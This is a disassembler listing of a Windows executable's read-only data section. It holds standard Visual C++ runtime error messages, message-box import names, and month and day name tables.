.rdata:00406289                 db  24h ; $
.rdata:0040628A                 db  40h ; @
.rdata:0040628B                 db    0
.rdata:0040628C                 db 0FFh
.rdata:0040628D                 db 0FFh
.rdata:0040628E                 db 0FFh
.rdata:0040628F                 db 0FFh
.rdata:00406290                 db  79h ; y
.rdata:00406291                 db  25h ; %
.rdata:00406292                 db  40h ; @
.rdata:00406293                 db    0
.rdata:00406294                 db  7Dh ; }
.rdata:00406295                 db  25h ; %
.rdata:00406296                 db  40h ; @
.rdata:00406297                 db    0
.rdata:00406298                 db  72h ; r
.rdata:00406299                 db  75h ; u
.rdata:0040629A                 db  6Eh ; n
.rdata:0040629B                 db  74h ; t
.rdata:0040629C                 db  69h ; i
.rdata:0040629D                 db  6Dh ; m
.rdata:0040629E                 db  65h ; e
.rdata:0040629F                 db  20h
.rdata:004062A0                 db  65h ; e
.rdata:004062A1                 db  72h ; r
.rdata:004062A2                 db  72h ; r
.rdata:004062A3                 db  6Fh ; o
.rdata:004062A4                 db  72h ; r
.rdata:004062A5                 db  20h
.rdata:004062A6                 db    0
.rdata:004062A7                 db    0
.rdata:004062A8                 db  0Dh
.rdata:004062A9                 db  0Ah
.rdata:004062AA                 db    0
.rdata:004062AB                 db    0
.rdata:004062AC                 db  54h ; T
.rdata:004062AD                 db  4Ch ; L
.rdata:004062AE                 db  4Fh ; O
.rdata:004062AF                 db  53h ; S
.rdata:004062B0                 db  53h ; S
.rdata:004062B1                 db  20h
.rdata:004062B2                 db  65h ; e
.rdata:004062B3                 db  72h ; r
.rdata:004062B4                 db  72h ; r
.rdata:004062B5                 db  6Fh ; o
.rdata:004062B6                 db  72h ; r
.rdata:004062B7                 db  0Dh
.rdata:004062B8                 db  0Ah
.rdata:004062B9                 db    0
.rdata:004062BA                 db    0
.rdata:004062BB                 db    0
.rdata:004062BC                 db  53h ; S
.rdata:004062BD                 db  49h ; I
.rdata:004062BE                 db  4Eh ; N
.rdata:004062BF                 db  47h ; G
.rdata:004062C0                 db  20h
.rdata:004062C1                 db  65h ; e
.rdata:004062C2                 db  72h ; r
.rdata:004062C3                 db  72h ; r
.rdata:004062C4                 db  6Fh ; o
.rdata:004062C5                 db  72h ; r
.rdata:004062C6                 db  0Dh
.rdata:004062C7                 db  0Ah
.rdata:004062C8                 db    0
.rdata:004062C9                 db    0
.rdata:004062CA                 db    0
.rdata:004062CB                 db    0
.rdata:004062CC                 db  44h ; D
.rdata:004062CD                 db  4Fh ; O
.rdata:004062CE                 db  4Dh ; M
.rdata:004062CF                 db  41h ; A
.rdata:004062D0                 db  49h ; I
.rdata:004062D1                 db  4Eh ; N
.rdata:004062D2                 db  20h
.rdata:004062D3                 db  65h ; e
.rdata:004062D4                 db  72h ; r
.rdata:004062D5                 db  72h ; r
.rdata:004062D6                 db  6Fh ; o
.rdata:004062D7                 db  72h ; r
.rdata:004062D8                 db  0Dh
.rdata:004062D9                 db  0Ah
.rdata:004062DA                 db    0
.rdata:004062DB                 db    0
.rdata:004062DC                 db  52h ; R
.rdata:004062DD                 db  36h ; 6
.rdata:004062DE                 db  30h ; 0
.rdata:004062DF                 db  32h ; 2
.rdata:004062E0                 db  38h ; 8
.rdata:004062E1                 db  0Dh
.rdata:004062E2                 db  0Ah
.rdata:004062E3                 db  2Dh ; -
.rdata:004062E4                 db  20h
.rdata:004062E5                 db  75h ; u
.rdata:004062E6                 db  6Eh ; n
.rdata:004062E7                 db  61h ; a
.rdata:004062E8                 db  62h ; b
.rdata:004062E9                 db  6Ch ; l
.rdata:004062EA                 db  65h ; e
.rdata:004062EB                 db  20h
.rdata:004062EC                 db  74h ; t
.rdata:004062ED                 db  6Fh ; o
.rdata:004062EE                 db  20h
.rdata:004062EF                 db  69h ; i
.rdata:004062F0                 db  6Eh ; n
.rdata:004062F1                 db  69h ; i
.rdata:004062F2                 db  74h ; t
.rdata:004062F3                 db  69h ; i
.rdata:004062F4                 db  61h ; a
.rdata:004062F5                 db  6Ch ; l
.rdata:004062F6                 db  69h ; i
.rdata:004062F7                 db  7Ah ; z
.rdata:004062F8                 db  65h ; e
.rdata:004062F9                 db  20h
.rdata:004062FA                 db  68h ; h
.rdata:004062FB                 db  65h ; e
.rdata:004062FC                 db  61h ; a
.rdata:004062FD                 db  70h ; p
.rdata:004062FE                 db  0Dh
.rdata:004062FF                 db  0Ah
.rdata:00406300                 db    0
.rdata:00406301                 db    0
.rdata:00406302                 db    0
.rdata:00406303                 db    0
.rdata:00406304                 db  52h ; R
.rdata:00406305                 db  36h ; 6
.rdata:00406306                 db  30h ; 0
.rdata:00406307                 db  32h ; 2
.rdata:00406308                 db  37h ; 7
.rdata:00406309                 db  0Dh
.rdata:0040630A                 db  0Ah
.rdata:0040630B                 db  2Dh ; -
.rdata:0040630C                 db  20h
.rdata:0040630D                 db  6Eh ; n
.rdata:0040630E                 db  6Fh ; o
.rdata:0040630F                 db  74h ; t
.rdata:00406310                 db  20h
.rdata:00406311                 db  65h ; e
.rdata:00406312                 db  6Eh ; n
.rdata:00406313                 db  6Fh ; o
.rdata:00406314                 db  75h ; u
.rdata:00406315                 db  67h ; g
.rdata:00406316                 db  68h ; h
.rdata:00406317                 db  20h
.rdata:00406318                 db  73h ; s
.rdata:00406319                 db  70h ; p
.rdata:0040631A                 db  61h ; a
.rdata:0040631B                 db  63h ; c
.rdata:0040631C                 db  65h ; e
.rdata:0040631D                 db  20h
.rdata:0040631E                 db  66h ; f
.rdata:0040631F                 db  6Fh ; o
.rdata:00406320                 db  72h ; r
.rdata:00406321                 db  20h
.rdata:00406322                 db  6Ch ; l
.rdata:00406323                 db  6Fh ; o
.rdata:00406324                 db  77h ; w
.rdata:00406325                 db  69h ; i
.rdata:00406326                 db  6Fh ; o
.rdata:00406327                 db  20h
.rdata:00406328                 db  69h ; i
.rdata:00406329                 db  6Eh ; n
.rdata:0040632A                 db  69h ; i
.rdata:0040632B                 db  74h ; t
.rdata:0040632C                 db  69h ; i
.rdata:0040632D                 db  61h ; a
.rdata:0040632E                 db  6Ch ; l
.rdata:0040632F                 db  69h ; i
.rdata:00406330                 db  7Ah ; z
.rdata:00406331                 db  61h ; a
.rdata:00406332                 db  74h ; t
.rdata:00406333                 db  69h ; i
.rdata:00406334                 db  6Fh ; o
.rdata:00406335                 db  6Eh ; n
.rdata:00406336                 db  0Dh
.rdata:00406337                 db  0Ah
.rdata:00406338                 db    0
.rdata:00406339                 db    0
.rdata:0040633A                 db    0
.rdata:0040633B                 db    0
.rdata:0040633C                 db  52h ; R
.rdata:0040633D                 db  36h ; 6
.rdata:0040633E                 db  30h ; 0
.rdata:0040633F                 db  32h ; 2
.rdata:00406340                 db  36h ; 6
.rdata:00406341                 db  0Dh
.rdata:00406342                 db  0Ah
.rdata:00406343                 db  2Dh ; -
.rdata:00406344                 db  20h
.rdata:00406345                 db  6Eh ; n
.rdata:00406346                 db  6Fh ; o
.rdata:00406347                 db  74h ; t
.rdata:00406348                 db  20h
.rdata:00406349                 db  65h ; e
.rdata:0040634A                 db  6Eh ; n
.rdata:0040634B                 db  6Fh ; o
.rdata:0040634C                 db  75h ; u
.rdata:0040634D                 db  67h ; g
.rdata:0040634E                 db  68h ; h
.rdata:0040634F                 db  20h
.rdata:00406350                 db  73h ; s
.rdata:00406351                 db  70h ; p
.rdata:00406352                 db  61h ; a
.rdata:00406353                 db  63h ; c
.rdata:00406354                 db  65h ; e
.rdata:00406355                 db  20h
.rdata:00406356                 db  66h ; f
.rdata:00406357                 db  6Fh ; o
.rdata:00406358                 db  72h ; r
.rdata:00406359                 db  20h
.rdata:0040635A                 db  73h ; s
.rdata:0040635B                 db  74h ; t
.rdata:0040635C                 db  64h ; d
.rdata:0040635D                 db  69h ; i
.rdata:0040635E                 db  6Fh ; o
.rdata:0040635F                 db  20h
.rdata:00406360                 db  69h ; i
.rdata:00406361                 db  6Eh ; n
.rdata:00406362                 db  69h ; i
.rdata:00406363                 db  74h ; t
.rdata:00406364                 db  69h ; i
.rdata:00406365                 db  61h ; a
.rdata:00406366                 db  6Ch ; l
.rdata:00406367                 db  69h ; i
.rdata:00406368                 db  7Ah ; z
.rdata:00406369                 db  61h ; a
.rdata:0040636A                 db  74h ; t
.rdata:0040636B                 db  69h ; i
.rdata:0040636C                 db  6Fh ; o
.rdata:0040636D                 db  6Eh ; n
.rdata:0040636E                 db  0Dh
.rdata:0040636F                 db  0Ah
.rdata:00406370                 db    0
.rdata:00406371                 db    0
.rdata:00406372                 db    0
.rdata:00406373                 db    0
.rdata:00406374                 db  52h ; R
.rdata:00406375                 db  36h ; 6
.rdata:00406376                 db  30h ; 0
.rdata:00406377                 db  32h ; 2
.rdata:00406378                 db  35h ; 5
.rdata:00406379                 db  0Dh
.rdata:0040637A                 db  0Ah
.rdata:0040637B                 db  2Dh ; -
.rdata:0040637C                 db  20h
.rdata:0040637D                 db  70h ; p
.rdata:0040637E                 db  75h ; u
.rdata:0040637F                 db  72h ; r
.rdata:00406380                 db  65h ; e
.rdata:00406381                 db  20h
.rdata:00406382                 db  76h ; v
.rdata:00406383                 db  69h ; i
.rdata:00406384                 db  72h ; r
.rdata:00406385                 db  74h ; t
.rdata:00406386                 db  75h ; u
.rdata:00406387                 db  61h ; a
.rdata:00406388                 db  6Ch ; l
.rdata:00406389                 db  20h
.rdata:0040638A                 db  66h ; f
.rdata:0040638B                 db  75h ; u
.rdata:0040638C                 db  6Eh ; n
.rdata:0040638D                 db  63h ; c
.rdata:0040638E                 db  74h ; t
.rdata:0040638F                 db  69h ; i
.rdata:00406390                 db  6Fh ; o
.rdata:00406391                 db  6Eh ; n
.rdata:00406392                 db  20h
.rdata:00406393                 db  63h ; c
.rdata:00406394                 db  61h ; a
.rdata:00406395                 db  6Ch ; l
.rdata:00406396                 db  6Ch ; l
.rdata:00406397                 db  0Dh
.rdata:00406398                 db  0Ah
.rdata:00406399                 db    0
.rdata:0040639A                 db    0
.rdata:0040639B                 db    0
.rdata:0040639C                 db  52h ; R
.rdata:0040639D                 db  36h ; 6
.rdata:0040639E                 db  30h ; 0
.rdata:0040639F                 db  32h ; 2
.rdata:004063A0                 db  34h ; 4
.rdata:004063A1                 db  0Dh
.rdata:004063A2                 db  0Ah
.rdata:004063A3                 db  2Dh ; -
.rdata:004063A4                 db  20h
.rdata:004063A5                 db  6Eh ; n
.rdata:004063A6                 db  6Fh ; o
.rdata:004063A7                 db  74h ; t
.rdata:004063A8                 db  20h
.rdata:004063A9                 db  65h ; e
.rdata:004063AA                 db  6Eh ; n
.rdata:004063AB                 db  6Fh ; o
.rdata:004063AC                 db  75h ; u
.rdata:004063AD                 db  67h ; g
.rdata:004063AE                 db  68h ; h
.rdata:004063AF                 db  20h
.rdata:004063B0                 db  73h ; s
.rdata:004063B1                 db  70h ; p
.rdata:004063B2                 db  61h ; a
.rdata:004063B3                 db  63h ; c
.rdata:004063B4                 db  65h ; e
.rdata:004063B5                 db  20h
.rdata:004063B6                 db  66h ; f
.rdata:004063B7                 db  6Fh ; o
.rdata:004063B8                 db  72h ; r
.rdata:004063B9                 db  20h
.rdata:004063BA                 db  5Fh ; _
.rdata:004063BB                 db  6Fh ; o
.rdata:004063BC                 db  6Eh ; n
.rdata:004063BD                 db  65h ; e
.rdata:004063BE                 db  78h ; x
.rdata:004063BF                 db  69h ; i
.rdata:004063C0                 db  74h ; t
.rdata:004063C1                 db  2Fh ; /
.rdata:004063C2                 db  61h ; a
.rdata:004063C3                 db  74h ; t
.rdata:004063C4                 db  65h ; e
.rdata:004063C5                 db  78h ; x
.rdata:004063C6                 db  69h ; i
.rdata:004063C7                 db  74h ; t
.rdata:004063C8                 db  20h
.rdata:004063C9                 db  74h ; t
.rdata:004063CA                 db  61h ; a
.rdata:004063CB                 db  62h ; b
.rdata:004063CC                 db  6Ch ; l
.rdata:004063CD                 db  65h ; e
.rdata:004063CE                 db  0Dh
.rdata:004063CF                 db  0Ah
.rdata:004063D0                 db    0
.rdata:004063D1                 db    0
.rdata:004063D2                 db    0
.rdata:004063D3                 db    0
.rdata:004063D4                 db  52h ; R
.rdata:004063D5                 db  36h ; 6
.rdata:004063D6                 db  30h ; 0
.rdata:004063D7                 db  31h ; 1
.rdata:004063D8                 db  39h ; 9
.rdata:004063D9                 db  0Dh
.rdata:004063DA                 db  0Ah
.rdata:004063DB                 db  2Dh ; -
.rdata:004063DC                 db  20h
.rdata:004063DD                 db  75h ; u
.rdata:004063DE                 db  6Eh ; n
.rdata:004063DF                 db  61h ; a
.rdata:004063E0                 db  62h ; b
.rdata:004063E1                 db  6Ch ; l
.rdata:004063E2                 db  65h ; e
.rdata:004063E3                 db  20h
.rdata:004063E4                 db  74h ; t
.rdata:004063E5                 db  6Fh ; o
.rdata:004063E6                 db  20h
.rdata:004063E7                 db  6Fh ; o
.rdata:004063E8                 db  70h ; p
.rdata:004063E9                 db  65h ; e
.rdata:004063EA                 db  6Eh ; n
.rdata:004063EB                 db  20h
.rdata:004063EC                 db  63h ; c
.rdata:004063ED                 db  6Fh ; o
.rdata:004063EE                 db  6Eh ; n
.rdata:004063EF                 db  73h ; s
.rdata:004063F0                 db  6Fh ; o
.rdata:004063F1                 db  6Ch ; l
.rdata:004063F2                 db  65h ; e
.rdata:004063F3                 db  20h
.rdata:004063F4                 db  64h ; d
.rdata:004063F5                 db  65h ; e
.rdata:004063F6                 db  76h ; v
.rdata:004063F7                 db  69h ; i
.rdata:004063F8                 db  63h ; c
.rdata:004063F9                 db  65h ; e
.rdata:004063FA                 db  0Dh
.rdata:004063FB                 db  0Ah
.rdata:004063FC                 db    0
.rdata:004063FD                 db    0
.rdata:004063FE                 db    0
.rdata:004063FF                 db    0
.rdata:00406400                 db  52h ; R
.rdata:00406401                 db  36h ; 6
.rdata:00406402                 db  30h ; 0
.rdata:00406403                 db  31h ; 1
.rdata:00406404                 db  38h ; 8
.rdata:00406405                 db  0Dh
.rdata:00406406                 db  0Ah
.rdata:00406407                 db  2Dh ; -
.rdata:00406408                 db  20h
.rdata:00406409                 db  75h ; u
.rdata:0040640A                 db  6Eh ; n
.rdata:0040640B                 db  65h ; e
.rdata:0040640C                 db  78h ; x
.rdata:0040640D                 db  70h ; p
.rdata:0040640E                 db  65h ; e
.rdata:0040640F                 db  63h ; c
.rdata:00406410                 db  74h ; t
.rdata:00406411                 db  65h ; e
.rdata:00406412                 db  64h ; d
.rdata:00406413                 db  20h
.rdata:00406414                 db  68h ; h
.rdata:00406415                 db  65h ; e
.rdata:00406416                 db  61h ; a
.rdata:00406417                 db  70h ; p
.rdata:00406418                 db  20h
.rdata:00406419                 db  65h ; e
.rdata:0040641A                 db  72h ; r
.rdata:0040641B                 db  72h ; r
.rdata:0040641C                 db  6Fh ; o
.rdata:0040641D                 db  72h ; r
.rdata:0040641E                 db  0Dh
.rdata:0040641F                 db  0Ah
.rdata:00406420                 db    0
.rdata:00406421                 db    0
.rdata:00406422                 db    0
.rdata:00406423                 db    0
.rdata:00406424                 db  52h ; R
.rdata:00406425                 db  36h ; 6
.rdata:00406426                 db  30h ; 0
.rdata:00406427                 db  31h ; 1
.rdata:00406428                 db  37h ; 7
.rdata:00406429                 db  0Dh
.rdata:0040642A                 db  0Ah
.rdata:0040642B                 db  2Dh ; -
.rdata:0040642C                 db  20h
.rdata:0040642D                 db  75h ; u
.rdata:0040642E                 db  6Eh ; n
.rdata:0040642F                 db  65h ; e
.rdata:00406430                 db  78h ; x
.rdata:00406431                 db  70h ; p
.rdata:00406432                 db  65h ; e
.rdata:00406433                 db  63h ; c
.rdata:00406434                 db  74h ; t
.rdata:00406435                 db  65h ; e
.rdata:00406436                 db  64h ; d
.rdata:00406437                 db  20h
.rdata:00406438                 db  6Dh ; m
.rdata:00406439                 db  75h ; u
.rdata:0040643A                 db  6Ch ; l
.rdata:0040643B                 db  74h ; t
.rdata:0040643C                 db  69h ; i
.rdata:0040643D                 db  74h ; t
.rdata:0040643E                 db  68h ; h
.rdata:0040643F                 db  72h ; r
.rdata:00406440                 db  65h ; e
.rdata:00406441                 db  61h ; a
.rdata:00406442                 db  64h ; d
.rdata:00406443                 db  20h
.rdata:00406444                 db  6Ch ; l
.rdata:00406445                 db  6Fh ; o
.rdata:00406446                 db  63h ; c
.rdata:00406447                 db  6Bh ; k
.rdata:00406448                 db  20h
.rdata:00406449                 db  65h ; e
.rdata:0040644A                 db  72h ; r
.rdata:0040644B                 db  72h ; r
.rdata:0040644C                 db  6Fh ; o
.rdata:0040644D                 db  72h ; r
.rdata:0040644E                 db  0Dh
.rdata:0040644F                 db  0Ah
.rdata:00406450                 db    0
.rdata:00406451                 db    0
.rdata:00406452                 db    0
.rdata:00406453                 db    0
.rdata:00406454                 db  52h ; R
.rdata:00406455                 db  36h ; 6
.rdata:00406456                 db  30h ; 0
.rdata:00406457                 db  31h ; 1
.rdata:00406458                 db  36h ; 6
.rdata:00406459                 db  0Dh
.rdata:0040645A                 db  0Ah
.rdata:0040645B                 db  2Dh ; -
.rdata:0040645C                 db  20h
.rdata:0040645D                 db  6Eh ; n
.rdata:0040645E                 db  6Fh ; o
.rdata:0040645F                 db  74h ; t
.rdata:00406460                 db  20h
.rdata:00406461                 db  65h ; e
.rdata:00406462                 db  6Eh ; n
.rdata:00406463                 db  6Fh ; o
.rdata:00406464                 db  75h ; u
.rdata:00406465                 db  67h ; g
.rdata:00406466                 db  68h ; h
.rdata:00406467                 db  20h
.rdata:00406468                 db  73h ; s
.rdata:00406469                 db  70h ; p
.rdata:0040646A                 db  61h ; a
.rdata:0040646B                 db  63h ; c
.rdata:0040646C                 db  65h ; e
.rdata:0040646D                 db  20h
.rdata:0040646E                 db  66h ; f
.rdata:0040646F                 db  6Fh ; o
.rdata:00406470                 db  72h ; r
.rdata:00406471                 db  20h
.rdata:00406472                 db  74h ; t
.rdata:00406473                 db  68h ; h
.rdata:00406474                 db  72h ; r
.rdata:00406475                 db  65h ; e
.rdata:00406476                 db  61h ; a
.rdata:00406477                 db  64h ; d
.rdata:00406478                 db  20h
.rdata:00406479                 db  64h ; d
.rdata:0040647A                 db  61h ; a
.rdata:0040647B                 db  74h ; t
.rdata:0040647C                 db  61h ; a
.rdata:0040647D                 db  0Dh
.rdata:0040647E                 db  0Ah
.rdata:0040647F                 db    0
.rdata:00406480                 db  0Dh
.rdata:00406481                 db  0Ah
.rdata:00406482                 db  61h ; a
.rdata:00406483                 db  62h ; b
.rdata:00406484                 db  6Eh ; n
.rdata:00406485                 db  6Fh ; o
.rdata:00406486                 db  72h ; r
.rdata:00406487                 db  6Dh ; m
.rdata:00406488                 db  61h ; a
.rdata:00406489                 db  6Ch ; l
.rdata:0040648A                 db  20h
.rdata:0040648B                 db  70h ; p
.rdata:0040648C                 db  72h ; r
.rdata:0040648D                 db  6Fh ; o
.rdata:0040648E                 db  67h ; g
.rdata:0040648F                 db  72h ; r
.rdata:00406490                 db  61h ; a
.rdata:00406491                 db  6Dh ; m
.rdata:00406492                 db  20h
.rdata:00406493                 db  74h ; t
.rdata:00406494                 db  65h ; e
.rdata:00406495                 db  72h ; r
.rdata:00406496                 db  6Dh ; m
.rdata:00406497                 db  69h ; i
.rdata:00406498                 db  6Eh ; n
.rdata:00406499                 db  61h ; a
.rdata:0040649A                 db  74h ; t
.rdata:0040649B                 db  69h ; i
.rdata:0040649C                 db  6Fh ; o
.rdata:0040649D                 db  6Eh ; n
.rdata:0040649E                 db  0Dh
.rdata:0040649F                 db  0Ah
.rdata:004064A0                 db    0
.rdata:004064A1                 db    0
.rdata:004064A2                 db    0
.rdata:004064A3                 db    0
.rdata:004064A4                 db  52h ; R
.rdata:004064A5                 db  36h ; 6
.rdata:004064A6                 db  30h ; 0
.rdata:004064A7                 db  30h ; 0
.rdata:004064A8                 db  39h ; 9
.rdata:004064A9                 db  0Dh
.rdata:004064AA                 db  0Ah
.rdata:004064AB                 db  2Dh ; -
.rdata:004064AC                 db  20h
.rdata:004064AD                 db  6Eh ; n
.rdata:004064AE                 db  6Fh ; o
.rdata:004064AF                 db  74h ; t
.rdata:004064B0                 db  20h
.rdata:004064B1                 db  65h ; e
.rdata:004064B2                 db  6Eh ; n
.rdata:004064B3                 db  6Fh ; o
.rdata:004064B4                 db  75h ; u
.rdata:004064B5                 db  67h ; g
.rdata:004064B6                 db  68h ; h
.rdata:004064B7                 db  20h
.rdata:004064B8                 db  73h ; s
.rdata:004064B9                 db  70h ; p
.rdata:004064BA                 db  61h ; a
.rdata:004064BB                 db  63h ; c
.rdata:004064BC                 db  65h ; e
.rdata:004064BD                 db  20h
.rdata:004064BE                 db  66h ; f
.rdata:004064BF                 db  6Fh ; o
.rdata:004064C0                 db  72h ; r
.rdata:004064C1                 db  20h
.rdata:004064C2                 db  65h ; e
.rdata:004064C3                 db  6Eh ; n
.rdata:004064C4                 db  76h ; v
.rdata:004064C5                 db  69h ; i
.rdata:004064C6                 db  72h ; r
.rdata:004064C7                 db  6Fh ; o
.rdata:004064C8                 db  6Eh ; n
.rdata:004064C9                 db  6Dh ; m
.rdata:004064CA                 db  65h ; e
.rdata:004064CB                 db  6Eh ; n
.rdata:004064CC                 db  74h ; t
.rdata:004064CD                 db  0Dh
.rdata:004064CE                 db  0Ah
.rdata:004064CF                 db    0
.rdata:004064D0                 db  52h ; R
.rdata:004064D1                 db  36h ; 6
.rdata:004064D2                 db  30h ; 0
.rdata:004064D3                 db  30h ; 0
.rdata:004064D4                 db  38h ; 8
.rdata:004064D5                 db  0Dh
.rdata:004064D6                 db  0Ah
.rdata:004064D7                 db  2Dh ; -
.rdata:004064D8                 db  20h
.rdata:004064D9                 db  6Eh ; n
.rdata:004064DA                 db  6Fh ; o
.rdata:004064DB                 db  74h ; t
.rdata:004064DC                 db  20h
.rdata:004064DD                 db  65h ; e
.rdata:004064DE                 db  6Eh ; n
.rdata:004064DF                 db  6Fh ; o
.rdata:004064E0                 db  75h ; u
.rdata:004064E1                 db  67h ; g
.rdata:004064E2                 db  68h ; h
.rdata:004064E3                 db  20h
.rdata:004064E4                 db  73h ; s
.rdata:004064E5                 db  70h ; p
.rdata:004064E6                 db  61h ; a
.rdata:004064E7                 db  63h ; c
.rdata:004064E8                 db  65h ; e
.rdata:004064E9                 db  20h
.rdata:004064EA                 db  66h ; f
.rdata:004064EB                 db  6Fh ; o
.rdata:004064EC                 db  72h ; r
.rdata:004064ED                 db  20h
.rdata:004064EE                 db  61h ; a
.rdata:004064EF                 db  72h ; r
.rdata:004064F0                 db  67h ; g
.rdata:004064F1                 db  75h ; u
.rdata:004064F2                 db  6Dh ; m
.rdata:004064F3                 db  65h ; e
.rdata:004064F4                 db  6Eh ; n
.rdata:004064F5                 db  74h ; t
.rdata:004064F6                 db  73h ; s
.rdata:004064F7                 db  0Dh
.rdata:004064F8                 db  0Ah
.rdata:004064F9                 db    0
.rdata:004064FA                 db    0
.rdata:004064FB                 db    0
.rdata:004064FC aR6002FloatingP db 'R6002',0Dh,0Ah      ; DATA XREF: .data:off_40766Co
.rdata:004064FC                 db '- floating point not loaded',0Dh,0Ah,0
.rdata:00406521                 align 4
.rdata:00406524 aMicrosoftVisua db 'Microsoft Visual C++ Runtime Library',0
.rdata:00406524                                         ; DATA XREF: __NMSG_WRITE+119o
.rdata:00406549                 align 4
.rdata:0040654C ; char asc_40654C[]
.rdata:0040654C asc_40654C      db 0Ah                  ; DATA XREF: __NMSG_WRITE+F1o
.rdata:0040654C                 db 0Ah,0
.rdata:0040654F                 align 10h
.rdata:00406550 ; char aRuntimeErrorPr[]
.rdata:00406550 aRuntimeErrorPr db 'Runtime Error!',0Ah ; DATA XREF: __NMSG_WRITE+D3o
.rdata:00406550                 db 0Ah
.rdata:00406550                 db 'Program: ',0
.rdata:0040656A                 align 4
.rdata:0040656C ; char a___[]
.rdata:0040656C a___            db '...',0              ; DATA XREF: __NMSG_WRITE+BFo
.rdata:00406570 ; char aProgramNameUnk[]
.rdata:00406570 aProgramNameUnk db '<program name unknown>',0 ; DATA XREF: __NMSG_WRITE+7Do
.rdata:00406587                 align 4
.rdata:00406588 unk_406588      db 0FFh                 ; DATA XREF: ___crtGetStringTypeA+5o
.rdata:00406589                 db 0FFh
.rdata:0040658A                 db 0FFh
.rdata:0040658B                 db 0FFh
.rdata:0040658C                 db  28h ; (
.rdata:0040658D                 db  3Dh ; =
.rdata:0040658E                 db  40h ; @
.rdata:0040658F                 db    0
.rdata:00406590                 db  2Ch ; ,
.rdata:00406591                 db  3Dh ; =
.rdata:00406592                 db  40h ; @
.rdata:00406593                 db    0
.rdata:00406594 ; char aGetlastactivep[]
.rdata:00406594 aGetlastactivep db 'GetLastActivePopup',0 ; DATA XREF: ___crtMessageBoxA+3Do
.rdata:004065A7                 align 4
.rdata:004065A8 ; char aGetactivewindo[]
.rdata:004065A8 aGetactivewindo db 'GetActiveWindow',0  ; DATA XREF: ___crtMessageBoxA+35o
.rdata:004065B8 ; char aMessageboxa[]
.rdata:004065B8 aMessageboxa    db 'MessageBoxA',0      ; DATA XREF: ___crtMessageBoxA+24o
.rdata:004065C4 ; char aUser32_dll[]
.rdata:004065C4 aUser32_dll     db 'user32.dll',0       ; DATA XREF: ___crtMessageBoxA+Do
.rdata:004065CF                 align 10h
.rdata:004065D0 aHMmSs          db 'H:mm:ss',0          ; DATA XREF: .data:004078B0o
.rdata:004065D8 aDdddMmmmDdYyyy db 'dddd, MMMM dd, yyyy',0 ; DATA XREF: .data:004078ACo
.rdata:004065EC aMDYy           db 'M/d/yy',0           ; DATA XREF: .data:004078A8o
.rdata:004065F3                 align 4
.rdata:004065F4 aPm             db 'PM',0               ; DATA XREF: .data:004078A4o
.rdata:004065F7                 align 4
.rdata:004065F8 aAm             db 'AM',0               ; DATA XREF: .data:004078A0o
.rdata:004065FB                 align 4
.rdata:004065FC aDecember       db 'December',0         ; DATA XREF: .data:0040789Co
.rdata:00406605                 align 4
.rdata:00406608 aNovember       db 'November',0         ; DATA XREF: .data:00407898o
.rdata:00406611                 align 4
.rdata:00406614 aOctober        db 'October',0          ; DATA XREF: .data:00407894o
.rdata:0040661C aSeptember      db 'September',0        ; DATA XREF: .data:00407890o
.rdata:00406626                 align 4
.rdata:00406628 aAugust         db 'August',0           ; DATA XREF: .data:0040788Co
.rdata:0040662F                 align 10h
.rdata:00406630 aJuly           db 'July',0             ; DATA XREF: .data:00407888o
.rdata:00406635                 align 4
.rdata:00406638 aJune           db 'June',0             ; DATA XREF: .data:00407884o
.rdata:0040663D                 align 10h
.rdata:00406640 aApril          db 'April',0            ; DATA XREF: .data:0040787Co
.rdata:00406646                 align 4
.rdata:00406648 aMarch          db 'March',0            ; DATA XREF: .data:00407878o
.rdata:0040664E                 align 10h
.rdata:00406650 aFebruary       db 'February',0         ; DATA XREF: .data:00407874o
.rdata:00406659                 align 4
.rdata:0040665C aJanuary        db 'January',0          ; DATA XREF: .data:00407870o
.rdata:00406664 aDec            db 'Dec',0              ; DATA XREF: .data:0040786Co
.rdata:00406668 aNov            db 'Nov',0              ; DATA XREF: .data:00407868o
.rdata:0040666C aOct            db 'Oct',0              ; DATA XREF: .data:00407864o
.rdata:00406670 aSep            db 'Sep',0              ; DATA XREF: .data:00407860o
.rdata:00406674 aAug            db 'Aug',0              ; DATA XREF: .data:0040785Co
.rdata:00406678 aJul            db 'Jul',0              ; DATA XREF: .data:00407858o
.rdata:0040667C aJun            db 'Jun',0              ; DATA XREF: .data:00407854o
.rdata:00406680 aMay            db 'May',0              ; DATA XREF: .data:00407850o
.rdata:00406680                                         ; .data:00407880o
.rdata:00406684 aApr            db 'Apr',0              ; DATA XREF: .data:0040784Co
.rdata:00406688 aMar            db 'Mar',0              ; DATA XREF: .data:00407848o
.rdata:0040668C aFeb            db 'Feb',0              ; DATA XREF: .data:00407844o
.rdata:00406690 aJan            db 'Jan',0              ; DATA XREF: .data:00407840o
.rdata:00406694 aSaturday       db 'Saturday',0         ; DATA XREF: .data:0040783Co
.rdata:0040669D                 align 10h
.rdata:004066A0 aFriday         db 'Friday',0           ; DATA XREF: .data:00407838o
.rdata:004066A7                 align 4
.rdata:004066A8 aThursday       db 'Thursday',0         ; DATA XREF: .data:00407834o
.rdata:004066B1                 align 4
.rdata:004066B4 aWednesday      db 'Wednesday',0        ; DATA XREF: .data:00407830o
.rdata:004066BE                 align 10h
.rdata:004066C0 aTuesday        db 'Tuesday',0          ; DATA XREF: .data:0040782Co
.rdata:004066C8 aMonday         db 'Monday',0           ; DATA XREF: .data:00407828o
.rdata:004066CF                 align 10h
.rdata:004066D0 aSunday         db 'Sunday',0           ; DATA XREF: .data:00407824o
.rdata:004066D7                 align 4
.rdata:004066D8 aSat            db 'Sat',0              ; DATA XREF: .data:00407820o
.rdata:004066DC aFri            db 'Fri',0              ; DATA XREF: .data:0040781Co
.rdata:004066E0 aThu            db 'Thu',0              ; DATA XREF: .data:00407818o
.rdata:004066E4 aWed            db 'Wed',0              ; DATA XREF: .data:00407814o
.rdata:004066E8 aTue            db 'Tue',0              ; DATA XREF: .data:00407810o
.rdata:004066EC aMon            db 'Mon',0              ; DATA XREF: .data:0040780Co
.rdata:004066F0 aSun            db 'Sun',0              ; DATA XREF: .data:off_407808o
.rdata:004066F4 aSunmontuewedth db 'SunMonTueWedThuFriSat',0
.rdata:0040670A                 align 4
.rdata:0040670C aJanfebmaraprma db 'JanFebMarAprMayJunJulAugSepOctNovDec',0
.rdata:00406731                 align 4
.rdata:00406734 aDg             db 'äg',0
.rdata:00406737                 align 10h
.rdata:00406740 aNj             db 'Nj',0
.rdata:00406743                 db    0
.rdata:00406744                 db    0
.rdata:00406745                 db  60h ; `
.rdata:00406746                 db    0
.rdata:00406747                 db    0
.rdata:00406748                 db  94h ; ö
.rdata:00406749                 db  68h ; h
.rdata:0040674A                 db    0
